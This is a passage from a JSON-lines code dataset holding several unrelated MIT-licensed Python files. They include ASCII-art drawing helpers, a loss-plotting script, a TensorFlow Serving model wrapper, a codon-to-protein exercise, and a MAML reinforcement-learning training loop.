2, 'a')\n# print(k)\n\ndef brokenline(x1,y1,x2,y2, char):\n #draws line from...to using char\n buffer = ''\n if (x2-x1 == 0):\n #vertical div by zero\n print(\"vertical!\")\n rc = 0\n xoff = x1\n else:\n rc = (y2-y1)/(x2-x1)\n print(\"rico = \", rc)\n if x2 < x1 and rc < 0:\n xoff = x2\n if x2 < x1 and rc > 0: \n xoff = x1\n if x2 > x1 and rc < 0:\n xoff = x1\n if x2 > x1 and rc > 0: \n xoff = x2\n \n if y2 < y1:\n yoff = y2\n else: \n yoff = y1\n buffer = yoff * '\\n'\n\n\n if y2 > y1:\n for j in range(y2-y1):\n if rc == 0:\n x = x1\n else: \n x = j/rc + xoff\n line = int(x) * ' ' + char\n buffer = buffer + line + '\\n'\n if y2 < y1:\n for j in range(y1-y2):\n if rc == 0:\n x = x1\n else:\n x = j/rc + xoff\n line = int(x) * ' ' + char\n buffer = buffer + line + '\\n'\n if y1 == y2:\n line = ' ' * xoff + abs(x2-x1) * char\n buffer = buffer + line + '\\n'\n\n print(\"done\")\n return buffer\n\n\ndef square(x1,y1,x2,y2,charh,charv):\n # returns a bufferlist of lines, print using\n a = line(x1,y1,x2,y1,charh)\n b = line(x1,y1,x1,y2,charv)\n c = line(x1,y2,x2,y2,charh)\n d = line(x2,y1,x2,y2,charv)\n return [a, b, c, d]\n\n# def filledsquare(size, angle, char):\n# # 0 < angle < size/2 \n# buffer = \"\"\n# for x in range(size+1):\n# if x < size/2:\n# line = \" \" * int(size/2-x) + char*int((x*4)/2+1)\n# elif x == size/2:\n# line = char*(size+1)\n# else:\n# line = \" \" * int(x-size/2) + char*int(((size-x)*4)/2+1)\n# buffer = buffer + line + \"\\n\"\n# print(buffer)\n# return buffer\n\ndef building(w,h):\n vert = [[\"[\", \"]\"], [\"I\"], [\"|\"],[\"!\"],[\"(\",\")\"], [\"/\",\"\\\\\"],[\":\"]]\n wall=[\"#\",\"o\",\"H\",\"U\",\".\",\"O\",\"=\",\" \",\"\u00b1\",\"+\",\"-\"]\n roof=[\"_\", \"=\", \"^\",\"~\"]\n buffer = []\n v = vert[random.randint(0,len(vert)-1)]\n wl = wall[random.randint(0,len(wall)-1)]\n r = roof[random.randint(0,len(roof)-1)]\n for i in range(h+1):\n line = \"\"\n for j in range(w+1):\n if i > 0:\n if (j == 0): \n v = v[0]\n line = line + v\n elif (j == w):\n if (len(v)==2):\n v = v[1]\n else:\n v = v[0]\n line = line + v\n else:\n line = line + wl\n if i == 0:\n line = line + r \n buffer.append(line)\n return buffer\n\n\n \ndef filledsquare(size, angle, char):\n # 0 < angle < size/2 \n buffer = \"\"\n step = (size/2)/angle\n pre = (size/2) - angle\n for x in range(size+1):\n if x < size/2:\n x+1\n line = \" \" * int(pre - x*step) + char*int((x*4)/2+1)\n elif x == size/2:\n line = char*(size+1)\n else:\n line = \" \" * int(x-size/2 + angle * (x-size/2)/2 ) + char*int(((size-x)*4)/2+1)\n buffer = buffer + line + \"\\n\"\n print(buffer)\n return buffer\n\n\n# filledsquare(10,2,\"d\")\n\ndef parallelogram(height, width, dirchange, char):\n # parallelogram is (int(width/dirchange)+height high and width wide)\n buffer = \"\"\n h = height\n a = dirchange\n b = width\n c = char\n line =\"\"\n if a == 0:\n r = h\n a = width\n else:\n r = int(b/a)+h+1\n for y in range(r):\n # print(\"y =\", y)\n if (y > h):\n line = \" \"*a + line\n elif len(line) < b:\n line = line + a*c\n line = line[:b-1]\n if not line.isspace():\n buffer = buffer + line + \"\\n\"\n return buffer\n\n\ndef circle(radius, basefontsize, linefeed, char):\n #density is current linefeed density >> n/72inch,\n buffer = \"\"\n proportion = 1.5\n #at linefeed = 8 > prop = 1\n \n radiusv = radius*linefeed\n\n # print(\"proportion = \" ,proportion)\n radiush = radius * basefontsize\n # radiusv = \n \n for r in range(int(radius * 2 +1 )):\n v = (radius-r)\n if v == radius:\n v = radius - 0.1\n if v == -radius:\n v = -radius + 0.1\n if v == 1:\n v = 0 \n # print (\"corrected:\" , v)\n v = v*linefeed\n \n # factor = linefeed*(basefontsize + linefeed)/basefontsize / 2 # (ok for linespace 9)\n # factor = 7.03125 # ok for linespace 9 \n # factor = 8.125 # ok for linespace ??\n factor = 7.5 # ok for linespace 10, size 10 \n factor = 7 # ok for linespace 14, size 14\n # factor = 6.5 # ok for linespace 16, size 16\n\n\n h = math.sqrt( abs(math.pow(radiusv ,2 ) - math.pow(v,2) )) / factor \n\n\n # basefontsize*(basefontsize + linefeed)/linefeed\n \n buffer = buffer + int(h)*char + \"\\n\"\n # print(buffer)\n buffer2 = \"\"\n xsize,ysize = dimensions(buffer)\n print(\"xsize = \",xsize)\n\n for i,l in enumerate(buffer.splitlines()):\n # print(\"t\"+l+\"t\")\n print (len(l))\n\n pad = xsize - len(l)\n line = \"\\n\" +\" \" * pad + 2*l + \" \" * pad\n # print(\"t\"+line+\"t\")\n buffer2 = buffer2 + line\n # print(line)\n # print(basefontsize*(basefontsize + linefeed)/linefeed)\n # print(linefeed*(basefontsize + linefeed)/basefontsize)\n print(\"factor = \",factor)\n print(buffer2)\n return buffer2\n\n\ndef cube(w,h,d,c1,c2,c3):\n # if w < h:\n # b = w\n # w = h\n # h = b\n if d > w:\n d = w\n if d > h:\n d = h\n buffer = '''\n _\n /__\n //___\n ///____\n ////_____\n /////______\n ///// _______\n ///// \\ ______\n ///// \\ \\ _____\n ///// \\ \\ \\ ____\n //// \\ \\ \\ \\ ___\n /// \\ \\ \\ \\ \\ __\n // \\ \\ \\ \\ \\ \\ _\n / \\ \\ \\ \\ \\ \\ \\\\\n \\ \\ \\ \\ \\ \\ \\\\\n \\ \\ \\ \\ \\ \\\\\n \\ \\ \\ \\ \\\\\n \\ \\ \\ \\\\\n \\ \\ \\\\\n \\ \\\\\n \\\\\n \n \n '''\n buffer = \"\"\n # w = 28\n # h = 28\n # d = 15\n # c1 = \"+\"\n # c2 = \".\"\n # c3 = \"*\"\n for y in range(h):\n line = \"\"\n for x in range(w):\n if x>=d:\n x = d\n line = line + (w-x)*\" \" + x*c1 + (x+1)*c2 + \"\\n\"\n buffer = buffer + line\n for y in range(int(h)):\n line = \"\"\n for x in range(int(w)):\n if x w:\n break\n for y in range(d):\n line = \"\"\n for x in range(int(w)):\n # print(\"fix needed\")\n if x>=d:\n x = d\n line = line + \" \"*((w-d) ) + (d-x)*c1 + ((2*x)+1)*c3 + (d-x)*c2 + \"\\n\"\n # line = line + (w-x)*\" \" \n # line = line + (w-x)*c3 +\"\\n\"\n if (2*x)+1 >= 2 * d:\n break\n \n buffer = buffer + line\n\n for y in range(d):\n line = \"\"\n line = line + \" \"*((w-d) + y) + 2*(d-y)*c3 + \"\\n\"\n buffer = buffer + line\n \n return buffer\n\n\n\ndef dimensions(buffer):\n width = len(max(buffer.splitlines(), key = len)) \n height = len(buffer.splitlines())\n return width, height\n\ndef padBuffer(buffer, xpad,ypad,Xpad, Ypad ):\n #pad multiline buffer\n print(\"padding buffer\")\n #widest bufferline?\n maxlength = len(max(buffer.splitlines(), key = len))\n print(maxlength)\n buffer1 = \"\"\n for y in range(ypad):\n line = \" \"*(xpad+maxlength+Xpad) +\"\\n\"\n buffer1 = buffer1 + line\n for i,l in enumerate(buffer.splitlines()):\n l = l.ljust(maxlength, ' ')\n line = xpad*\" \" + l + Xpad*\" \" + \"\\n\"\n buffer1 = buffer1 + line\n for y in range(Ypad):\n line = \" \"*(xpad+maxlength+Xpad) + \"\\n\"\n buffer1 = buffer1 + line\n return buffer1\n\ndef padMax(buffer,columns,height):\n # pad buffer to match columns/height\n x,y = dimensions(buffer)\n padx = columns - x\n pady = height - y\n if padx > 1:\n prex = random.randint(0,padx)\n postx = padx - prex\n elif padx == 1:\n prex = 1\n postx = 0\n else:\n prex = 0\n postx = 0\n if pady > 1:\n prey = random.randint(0,pady)\n posty = pady - prey\n elif pady == 1:\n prey = 1\n posty = 0\n else:\n prey = 0\n posty = 0\n paddedbuffer = padBuffer(buffer,prex,prey,postx,posty)\n return paddedbuffer\n\ndef padMidMax(buffer,columns,height):\n x,y = dimensions(buffer)\n padx = columns - x\n pady = height - y\n if padx > 1:\n prex = int(padx/2)\n postx = padx - prex\n elif padx == 1:\n prex = 1\n postx = 0\n else:\n prex = 0\n postx = 0\n if pady > 1:\n prey = int(pady/2)\n posty = pady - prey\n elif pady == 1:\n prey = 1\n posty = 0\n else:\n prey = 0\n posty = 0\n paddedbuffer = padBuffer(buffer,prex,prey,postx,posty)\n return paddedbuffer\n\n\ndef mergeBuffers(buffer1,buffer2,xpos):\n # merge 2 buffers leaving buffer1 in front until xpos\n # pad until same height and width using padBuffer\n # buffers should have equal width/height\n print(dimensions(buffer1))\n print(dimensions(buffer2))\n \n buffer1 = buffer1.splitlines()\n buffer2 = buffer2.splitlines()\n buffer = \"\"\n for y in range(len(buffer1)):\n line = \"\"\n for x in range(len(buffer1[0])):\n if x < xpos:\n c = buffer1[y][x]\n if (c != \" \"):\n c = buffer1[y][x]\n else:\n c = buffer2[y][x]\n else:\n c = buffer2[y][x]\n if (c != \" \"):\n c = buffer2[y][x]\n else:\n c = buffer1[y][x]\n line = line + c\n print (line)\n buffer = buffer + line + \"\\n\"\n return buffer\n\n\n\n\ndef consoleBuffer(buffer):\n for l in buffer.splitlines():\n print(l)", "source": "kaosbeat/stardraw", "license": "MIT"} {"text": "from __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nimport os\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nfs = 20\r\nplt.rc('font', size=fs) #controls default text size\r\nplt.rc('axes', titlesize=fs) #fontsize of the title\r\nplt.rc('axes', labelsize=fs) #fontsize of the x and y labels\r\nplt.rc('xtick', labelsize=fs) #fontsize of the x tick labels\r\nplt.rc('ytick', labelsize=fs) #fontsize of the y tick labels\r\nplt.rc('legend', fontsize=fs) #fontsize of the legend\r\n\r\nimport numpy as np\r\nimport math\r\nimport sys\r\nimport scipy.io\r\nfrom copy import deepcopy\r\nimport re\r\n\r\n\r\nif __name__ == \"__main__\":\r\n \r\n filename = sys.argv[1]\r\n\r\n items = []\r\n\r\n with open(filename, 'r') as f:\r\n lines = f.readlines()\r\n \r\n for line in lines[16:]:\r\n if len(line)>10 and line[10]=='[':\r\n it = line.split('[')\r\n epoch = int(it[0])\r\n nums = it[1].replace(']','').split(',')\r\n nums = [float(item) for item in nums]\r\n loss = sum(nums)/len(nums)\r\n items.append([epoch, loss])\r\n # print(items)\r\n \r\n history = np.array(items)\r\n plt.figure(figsize=(8,5))\r\n plt.semilogy(history[:,0], history[:,1])\r\n plt.grid()\r\n plt.xlabel('epoch')\r\n plt.ylabel('loss')\r\n plt.tight_layout()\r\n plt.savefig(f'{filename}_plot.png')\r\n\r\n\r\n", "source": "ls2716/PIV_PINN_data_extraction", "license": "MIT"} {"text": "\"\"\"\nFunctions for wrapping up a model for serving with TF Serving.\n\nThis code was heavily inspired by this blog post:\nhttps://medium.com/analytics-vidhya/71d58316570c\n\"\"\"\n\nfrom pathlib import Path\nfrom typing import List, Optional\n\nimport tensorflow as tf\nfrom tensorflow.compat.v1.keras.backend import get_session # type: ignore\nfrom tensorflow.compat.v1.saved_model import signature_constants as sig_consts_v1 # type: ignore # noqa\nfrom tensorflow.compat.v1.saved_model.utils import build_tensor_info # type: ignore\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.ops import array_ops, lookup_ops\nfrom tensorflow.python.saved_model import builder as saved_builder\nfrom tensorflow.python.saved_model import signature_constants, tag_constants\nfrom tensorflow.python.saved_model.signature_def_utils_impl import (\n build_signature_def,\n is_valid_signature,\n)\n\nIMAGE_SIZE = (256, 256)\n\n\ndef wrap_model(\n model_file: Path,\n output_folder: Path,\n class_names: List[str],\n top_k: Optional[int],\n):\n tf.compat.v1.disable_eager_execution()\n\n if model_file.suffix != \".hdf5\":\n raise ValueError(\"Model file must be saved as hdf5.\")\n\n model = load_model(model_file, compile=False)\n n_classes = int(model.output.shape[-1]) # type: ignore\n print(f\" \u25e6 {n_classes} classes\")\n if n_classes != len(class_names):\n raise ValueError(\"Number of specified classes does not match model shape\")\n\n builder = saved_builder.SavedModelBuilder(str(output_folder))\n\n classification_signature = _create_signature(model, class_names, top_k)\n signature_def_map = {\n signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY: classification_signature\n }\n session = get_session()\n builder.add_meta_graph_and_variables(\n session,\n [tag_constants.SERVING],\n signature_def_map=signature_def_map,\n main_op=tf.compat.v1.tables_initializer(),\n strip_default_attrs=True,\n )\n builder.save()\n\n\ndef _preprocess_image(image_buffer):\n image = tf.image.decode_jpeg(image_buffer, channels=3)\n image = tf.image.resize(image, IMAGE_SIZE)\n image = tf.image.convert_image_dtype(image, dtype=tf.float32)\n\n # Add bias as per ResNet 50 preprocessing function\n red_bias = -123.68\n green_bias = -116.779\n blue_bias = -103.939\n image = tf.math.add(image, [red_bias, green_bias, blue_bias])\n\n # Make BGR\n image = tf.reverse(image, axis=[-1])\n return image\n\n\ndef _create_signature(model, class_names: List[str], top_k: Optional[int]):\n serialized_tf_example = array_ops.placeholder(tf.string, name=\"tf_example\")\n feature_configs = {\"x\": tf.io.FixedLenFeature([], tf.string)}\n tf_example = tf.io.parse_example(serialized_tf_example, feature_configs)\n jpegs = tf_example[\"x\"]\n x = tf.map_fn(_preprocess_image, jpegs, dtype=tf.float32)\n y = model(x)\n\n top_k = min(top_k or len(class_names), len(class_names))\n values, indices = tf.nn.top_k(y, top_k)\n table_class_names = lookup_ops.index_to_string_table_from_tensor(\n vocabulary_list=tf.constant(class_names), default_value=\"UNK\", name=None\n )\n classification_inputs = build_tensor_info(serialized_tf_example)\n prediction_class_names = table_class_names.lookup(\n tf.cast(indices, dtype=dtypes.int64)\n )\n classification_outputs_class_names = build_tensor_info(prediction_class_names)\n classification_outputs_scores = build_tensor_info(values)\n classification_signature = build_signature_def(\n inputs={sig_consts_v1.CLASSIFY_INPUTS: classification_inputs},\n outputs={\n sig_consts_v1.CLASSIFY_OUTPUT_CLASSES: classification_outputs_class_names,\n sig_consts_v1.CLASSIFY_OUTPUT_SCORES: classification_outputs_scores,\n },\n method_name=sig_consts_v1.CLASSIFY_METHOD_NAME,\n )\n\n # Ensure valid signature\n if not is_valid_signature(classification_signature):\n raise ValueError(\"Invalid classification signature!\")\n\n return classification_signature\n", "source": "sorenlind/transferit", "license": "MIT"} {"text": "import string\n\nCHARS = string.ascii_lowercase\nURL_ID_LENGTH = 10", "source": "imranmaj/url-shortener", "license": "MIT"} {"text": "data = {\n\t\"AUG\": 'Methionine',\n\t\"UUU\": 'Phenylalanine',\n\t\"UUC\": 'Phenylalanine',\n\t\"UUA\": 'Leucine',\n\t\"UUG\": 'Leucine',\n\t\"UCU\": 'Serine',\n\t\"UCC\": 'Serine',\n\t\"UCA\": 'Serine',\n\t\"UCG\": 'Serine',\n\t\"UAU\": 'Tyrosine',\n\t\"UAC\": 'Tyrosine',\n\t\"UGU\": 'Cysteine',\n\t\"UGC\": 'Cysteine',\n\t\"UGG\": 'Tryptophan',\n\t\"UAA\": 'STOP',\n\t\"UAG\": 'STOP',\n\t\"UGA\": 'STOP'\n}\n\ndef proteins(strand):\n\tcodons = [strand[i:i+3] for i in range(0, len(strand), 3)]\n\tproteins = [data[codon] for codon in codons]\n\treturn proteins[:proteins.index('STOP')] if 'STOP' in proteins else proteins\n", "source": "jain-arham-hsr/exercism", "license": "MIT"} {"text": "from rllab.algos.base import RLAlgorithm\nfrom sandbox.rocky.tf.policies.base import Policy\nfrom sandbox.rocky.tf.samplers.batch_sampler import BatchSampler\nfrom sandbox.rocky.tf.samplers.vectorized_sampler import VectorizedSampler\nfrom rllab.sampler.stateful_pool import singleton_pool\nfrom copy import deepcopy\nimport matplotlib\nmatplotlib.use('Pdf')\nimport itertools\n\nimport matplotlib.pyplot as plt\nimport os.path as osp\nimport rllab.misc.logger as logger\nimport rllab.plotter as plotter\nimport tensorflow as tf\nimport time\nimport numpy as np\nimport random as rd\nimport joblib\nfrom rllab.misc.tensor_utils import split_tensor_dict_list, stack_tensor_dict_list\n# from maml_examples.reacher_env import fingertip\nfrom rllab.sampler.utils import rollout, joblib_dump_safe\nfrom maml_examples.maml_experiment_vars import TESTING_ITRS, PLOT_ITRS, VIDEO_ITRS, BASELINE_TRAINING_ITRS\nfrom maml_examples import pusher_env\nfrom expert_policies.expert_loaders import dummy_expert_loader\n\nclass BatchMAMLPolopt(RLAlgorithm):\n \"\"\"\n Base class for batch sampling-based policy optimization methods, with maml.\n This includes various policy gradient methods like vpg, npg, ppo, trpo, etc.\n \"\"\"\n\n def __init__(\n self,\n env,\n policy,\n baseline,\n experts_dir,\n experts_loader,\n metalearn_baseline=False,\n scope=None,\n n_itr=500,\n start_itr=0,\n batch_size=100,\n max_path_length=500,\n meta_batch_size=100,\n num_grad_updates=1,\n num_grad_updates_for_testing=1,\n discount=0.99,\n gae_lambda=1,\n beta_steps=1,\n beta_curve=None,\n plot=False,\n pause_for_plot=False,\n make_video=False,\n center_adv=True,\n positive_adv=False,\n store_paths=False,\n whole_paths=True,\n fixed_horizon=False,\n sampler_cls=None,\n sampler_args=None,\n force_batch_sampler=False,\n use_maml=True,\n use_maml_il=False,\n test_on_training_goals=False,\n limit_demos_num=None,\n test_goals_mult=1,\n load_policy=None,\n pre_std_modifier=1.0,\n post_std_modifier_train=1.0,\n post_std_modifier_test=1.0,\n goals_pool_to_load=None,\n goals_pickle_to=None,\n extra_input=None,\n extra_input_dim=0,\n seed=1,\n debug_pusher=False,\n **kwargs\n ):\n \"\"\"\n :param env: Environment\n :param policy: Policy\n :type policy: Policy\n :param baseline: Baseline\n :param scope: Scope for identifying the algorithm. Must be specified if running multiple algorithms\n simultaneously, each using different environments and policies\n :param n_itr: Number of iterations.\n :param start_itr: Starting iteration.\n :param batch_size: Number of samples per iteration. #\n :param max_path_length: Maximum length of a single rollout.\n :param meta_batch_size: Number of tasks sampled per meta-update\n :param num_grad_updates: Number of fast gradient updates\n :param discount: Discount.\n :param gae_lambda: Lambda used for generalized advantage estimation.\n :param plot: Plot evaluation run after each iteration.\n :param pause_for_plot: Whether to pause before contiuing when plotting.\n :param center_adv: Whether to rescale the advantages so that they have mean 0 and standard deviation 1.\n :param positive_adv: Whether to shift the advantages so that they are always positive. When used in\n conjunction with center_adv the advantages will be standardized before shifting.\n :param store_paths: Whether to save all paths data to the snapshot.\n :return:\n \"\"\"\n self.seed=seed\n self.env = env\n self.policy = policy\n self.load_policy = load_policy\n self.baseline = baseline\n self.metalearn_baseline = metalearn_baseline\n self.scope = scope\n self.n_itr = n_itr\n self.start_itr = start_itr\n # batch_size is the number of trajectories for one fast grad update.\n # self.batch_size is the number of total transitions to collect.\n self.batch_size = batch_size * max_path_length * meta_batch_size\n self.max_path_length = max_path_length\n self.discount = discount\n self.gae_lambda = gae_lambda\n self.beta_steps = beta_steps\n self.beta_curve = beta_curve if beta_curve is not None else [self.beta_steps]\n self.old_il_loss = None\n self.plot = plot\n self.pause_for_plot = pause_for_plot\n self.make_video = make_video\n self.center_adv = center_adv\n self.positive_adv = positive_adv\n self.store_paths = store_paths\n self.whole_paths = whole_paths\n self.fixed_horizon = fixed_horizon\n self.meta_batch_size = meta_batch_size # number of tasks\n self.num_grad_updates = num_grad_updates # number of gradient steps during training\n self.num_grad_updates_for_testing = num_grad_updates_for_testing # number of gradient steps during training\n self.use_maml_il = use_maml_il\n self.test_on_training_goals= test_on_training_goals\n self.testing_itrs = TESTING_ITRS\n if self.metalearn_baseline:\n self.testing_itrs.insert(0,0)\n logger.log(\"test_on_training_goals %s\" % self.test_on_training_goals)\n self.limit_demos_num = limit_demos_num\n self.test_goals_mult = test_goals_mult\n self.pre_std_modifier = pre_std_modifier\n self.post_std_modifier_train = post_std_modifier_train\n self.post_std_modifier_test = post_std_modifier_test\n # self.action_limiter_multiplier = action_limiter_multiplier\n self.extra_input = extra_input\n self.extra_input_dim = extra_input_dim\n self.debug_pusher=debug_pusher\n self.experts_dir = experts_dir\n experts_loader_dict = {\n 'dummy_expert_loader': dummy_expert_loader\n }\n self.experts_loader = experts_loader_dict[experts_loader]\n\n # setup goals\n print(\"debug1\", tf.__version__)\n self._setup_goals(goals_pool_to_load, goals_pickle_to=None)\n\n # setup sampler\n if sampler_cls is None:\n if singleton_pool.n_parallel > 1:\n sampler_cls = BatchSampler\n print(\"Using Batch Sampler\")\n else:\n sampler_cls = VectorizedSampler\n print(\"Using Vectorized Sampler\")\n if sampler_args is None:\n sampler_args = dict()\n if 'n_envs' not in sampler_args.keys():\n sampler_args['n_envs'] = self.meta_batch_size\n self.sampler = sampler_cls(self, **sampler_args)\n\n # setup experts\n self.experts = []\n import glob\n for expert_num_path in glob.glob('{}/*'.format(self.experts_dir)):\n model_num_paths = glob.glob('{}/checkpoints/model*.pkl'.format(expert_num_path))\n get_model_num = lambda model_num_path: int(model_num_path.split('/')[-1].split('model')[-1].split('.pkl')[0])\n latest_model_num = max(map(get_model_num, model_num_paths))\n self.experts.append(self.experts_loader(\n '{}/checkpoints/model{}.pkl'.format(expert_num_path, latest_model_num)))\n\n def start_worker(self):\n self.sampler.start_worker()\n if self.plot:\n plotter.init_plot(self.env, self.policy)\n\n def shutdown_worker(self):\n self.sampler.shutdown_worker()\n\n def obtain_samples(self, itr, reset_args=None, log_prefix='', preupdate=False):\n # This obtains samples using self.policy, and calling policy.get_actions(obses)\n # return_dict specifies how the samples should be returned (dict separates samples\n # by task)\n paths = self.sampler.obtain_samples(itr=itr, reset_args=reset_args, return_dict=True, \n log_prefix=log_prefix, extra_input=self.extra_input, \n extra_input_dim=(self.extra_input_dim if self.extra_input is not None else 0), preupdate=preupdate)\n assert type(paths) == dict\n return paths\n\n def query_expert(self, itr, paths, log_prefix=''):\n for task_num in paths.keys():\n for path in paths[task_num]:\n # should be expert log probs...\n path['expert_actions'] = self.experts[task_num].getLogProb(path['observations'], path['actions'])\n return paths\n\n def process_samples(self, itr, paths, prefix='', log=True, fast_process=False, testitr=False, metalearn_baseline=False):\n return self.sampler.process_samples(itr, paths, prefix=prefix, log=log, fast_process=fast_process, testitr=testitr, metalearn_baseline=metalearn_baseline)\n\n def train(self):\n # TODO - make this a util\n flatten_list = lambda l: [item for sublist in l for item in sublist]\n config = tf.ConfigProto()\n config.gpu_options.allow_growth=True\n # with tf.Session(config=tf.ConfigProto(device_count={'GPU': 0})) as sess:\n with tf.Session(config=config) as sess:\n tf.set_random_seed(1)\n # Code for loading a previous policy. Somewhat hacky because needs to be in sess.\n if self.load_policy is not None:\n self.policy = joblib.load(self.load_policy)['policy']\n self.init_opt()\n # initialize uninitialized vars (only initialize vars that were not loaded)\n uninit_vars = []\n # sess.run(tf.global_variables_initializer())\n for var in tf.global_variables():\n # note - this is hacky, may be better way to do this in newer TF.\n try:\n sess.run(var)\n except tf.errors.FailedPreconditionError:\n uninit_vars.append(var)\n sess.run(tf.variables_initializer(uninit_vars))\n self.start_worker()\n start_time = time.time()\n self.metaitr=0\n # epochs\n for itr in range(self.start_itr, self.n_itr):\n itr_start_time = time.time()\n np.random.seed(self.seed+itr)\n tf.set_random_seed(self.seed+itr)\n rd.seed(self.seed+itr)\n with logger.prefix('itr #%d | ' % itr):\n all_paths_for_plotting = []\n all_postupdate_paths = []\n self.beta_steps = min(self.beta_steps, self.beta_curve[min(itr,len(self.beta_curve)-1)])\n beta_steps_range = range(self.beta_steps) if itr not in self.testing_itrs else range(self.test_goals_mult)\n beta0_step0_paths = None\n num_inner_updates = self.num_grad_updates_for_testing if itr in self.testing_itrs else self.num_grad_updates\n # outer loop\n for beta_step in beta_steps_range:\n all_samples_data_for_betastep = []\n print(\"debug, pre-update std modifier\")\n self.policy.std_modifier = self.pre_std_modifier\n self.policy.switch_to_init_dist() # Switch to pre-update policy\n if itr in self.testing_itrs:\n env = self.env\n while 'sample_goals' not in dir(env):\n env = env.wrapped_env\n # Note: FinnMamlEnv always returns list of all goals\n self.goals_to_use_dict[itr] = env.sample_goals(self.meta_batch_size) \n # inner loop\n for step in range(num_inner_updates+1):\n # gather samples for all inner & outer loop updates\n logger.log('** Betastep %s ** Step %s **' % (str(beta_step), str(step)))\n logger.log(\"Obtaining samples...\")\n if itr in self.testing_itrs:\n if step < num_inner_updates:\n print('debug12.0.0, test-time sampling step=', step) #, goals_to_use)\n paths = self.obtain_samples(itr=itr, reset_args=self.goals_to_use_dict[itr],\n log_prefix=str(beta_step) + \"_\" + str(step), preupdate=True)\n paths = store_agent_infos(paths) # agent_infos_orig is populated here\n elif step == num_inner_updates:\n print('debug12.0.1, test-time sampling step=', step) #, goals_to_use)\n paths = self.obtain_samples(itr=itr, reset_args=self.goals_to_use_dict[itr],\n log_prefix=str(beta_step) + \"_\" + str(step), preupdate=False)\n all_postupdate_paths.extend(paths.values())\n else:\n if beta_step==0 and step < num_inner_updates:\n print(\"debug12.1, sample on-policy\") #, self.goals_to_use_dict[itr])\n paths = self.obtain_samples(itr=itr, reset_args=self.goals_to_use_dict[itr], \n log_prefix=str(beta_step)+\"_\"+str(step), preupdate=True)\n if beta_step == 0 and step == 0:\n paths = store_agent_infos(paths) # agent_infos_orig is populated here\n beta0_step0_paths = deepcopy(paths)\n elif step == num_inner_updates:\n print(\"debug12.2, query expert for on-policy sampled traj\")\n paths = self.obtain_samples(itr=itr, reset_args=self.goals_to_use_dict[itr],\n log_prefix=str(beta_step) + \"_\" + str(step), preupdate=False)\n paths = self.query_expert(itr=itr, paths=deepcopy(paths), log_prefix=str(beta_step)+\"_\"+str(step))\n\n # process samples\n all_paths_for_plotting.append(paths)\n logger.log(\"Processing samples...\")\n samples_data = {}\n for tasknum in paths.keys(): # the keys are the tasks\n # don't log because this will spam the console with every task.\n if self.use_maml_il and step == num_inner_updates:\n fast_process = True\n else:\n fast_process = False\n if itr in self.testing_itrs:\n testitr = True\n else:\n testitr = False\n samples_data[tasknum] = self.process_samples(itr, paths[tasknum], log=False, \n fast_process=fast_process, testitr=testitr, metalearn_baseline=self.metalearn_baseline)\n if 'expert_actions' in samples_data[tasknum] and not (itr not in self.testing_itrs and step == num_inner_updates):\n # default shape is wrong..\n # samples_data[tasknum]['expert_actions'] = [None] * len(samples_data[tasknum]['expert_actions'])\n del samples_data[tasknum]['expert_actions']\n\n all_samples_data_for_betastep.append(samples_data)\n\n # logging\n self.process_samples(itr, flatten_list(paths.values()), prefix=str(step), log=True, \n fast_process=True, testitr=testitr, metalearn_baseline=self.metalearn_baseline)\n if itr not in self.testing_itrs:\n self.log_diagnostics(flatten_list(paths.values()), prefix=str(step))\n\n if step == num_inner_updates:\n logger.record_tabular(\"AverageReturnLastTest\", self.sampler.memory[\"AverageReturnLastTest\"],front=True) #TODO: add functionality for multiple grad steps\n logger.record_tabular(\"TestItr\", (\"1\" if testitr else \"0\"),front=True)\n logger.record_tabular(\"MetaItr\", self.metaitr,front=True)\n \n if step == num_inner_updates-1:\n # this would mess with the kl_d...\n #if itr not in self.testing_itrs:\n # print(\"debug, post update train std modifier\")\n # self.policy.std_modifier = self.post_std_modifier_train*self.policy.std_modifier\n if itr in self.testing_itrs:\n print(\"debug, post update test std modifier\")\n self.policy.std_modifier = self.post_std_modifier_test*self.policy.std_modifier\n if step < num_inner_updates:\n # do not update on last grad step, and do not update on second to last step when training MAMLIL\n logger.log(\"Computing policy updates...\")\n self.policy.compute_updated_dists(samples=samples_data)\n\n # optimize policy\n logger.log(\"Optimizing policy...\")\n start_loss = self.optimize_policy(itr, all_samples_data_for_betastep)\n\n if itr not in self.testing_itrs: \n self.metaitr += 1\n\n # save\n logger.log(\"Saving snapshot...\")\n params = self.get_itr_snapshot(itr, all_samples_data_for_betastep[-1]) # , **kwargs)\n if self.store_paths:\n params[\"paths\"] = all_samples_data_for_betastep[-1][\"paths\"]\n logger.save_itr_params(itr, params)\n logger.log(\"Saved\")\n logger.record_tabular('Time', time.time() - start_time)\n logger.record_tabular('ItrTime', time.time() - itr_start_time)\n logger.dump_tabular(with_prefix=False)\n\n # plot\n if self.plot:\n self.plot_fn(itr)\n\n self.shutdown_worker()\n\n def log_diagnostics(self, paths, prefix):\n self.env.log_diagnostics(paths, prefix)\n self.policy.log_diagnostics(paths, prefix)\n self.baseline.log_diagnostics(paths)\n\n def init_opt(self):\n \"\"\"\n Initialize the optimization procedure. If using tensorflow, this may\n include declaring all the variables and compiling functions\n \"\"\"\n raise NotImplementedError\n\n def get_itr_snapshot(self, itr, samples_data):\n \"\"\"\n Returns all the data that should be saved in the snapshot for this\n iteration.\n \"\"\"\n raise NotImplementedError\n\n def optimize_policy(self, itr, samples_data):\n raise NotImplementedError\n\n def update_plot(self):\n if self.plot:\n plotter.update_plot(self.policy, self.max_path_length)\n\n def plot_fn(self, itr):\n # The rest is some example plotting code.\n # Plotting code is useful for visualizing trajectories across a few different tasks.\n if True and itr in PLOT_ITRS and self.env.observation_space.shape[0] == 2: # point-mass\n logger.log(\"Saving visualization of paths\")\n for ind in range(min(5, self.meta_batch_size)):\n plt.clf()\n plt.plot(self.goals_to_use_dict[itr][ind][0], self.goals_to_use_dict[itr][ind][1], 'k*', markersize=10)\n plt.hold(True)\n\n preupdate_paths = all_paths_for_plotting[0]\n postupdate_paths = all_paths_for_plotting[-1]\n\n pre_points = preupdate_paths[ind][0]['observations']\n post_points = postupdate_paths[ind][0]['observations']\n plt.plot(pre_points[:,0], pre_points[:,1], '-r', linewidth=2)\n plt.plot(post_points[:,0], post_points[:,1], '-b', linewidth=1)\n\n pre_points = preupdate_paths[ind][1]['observations']\n post_points = postupdate_paths[ind][1]['observations']\n plt.plot(pre_points[:,0], pre_points[:,1], 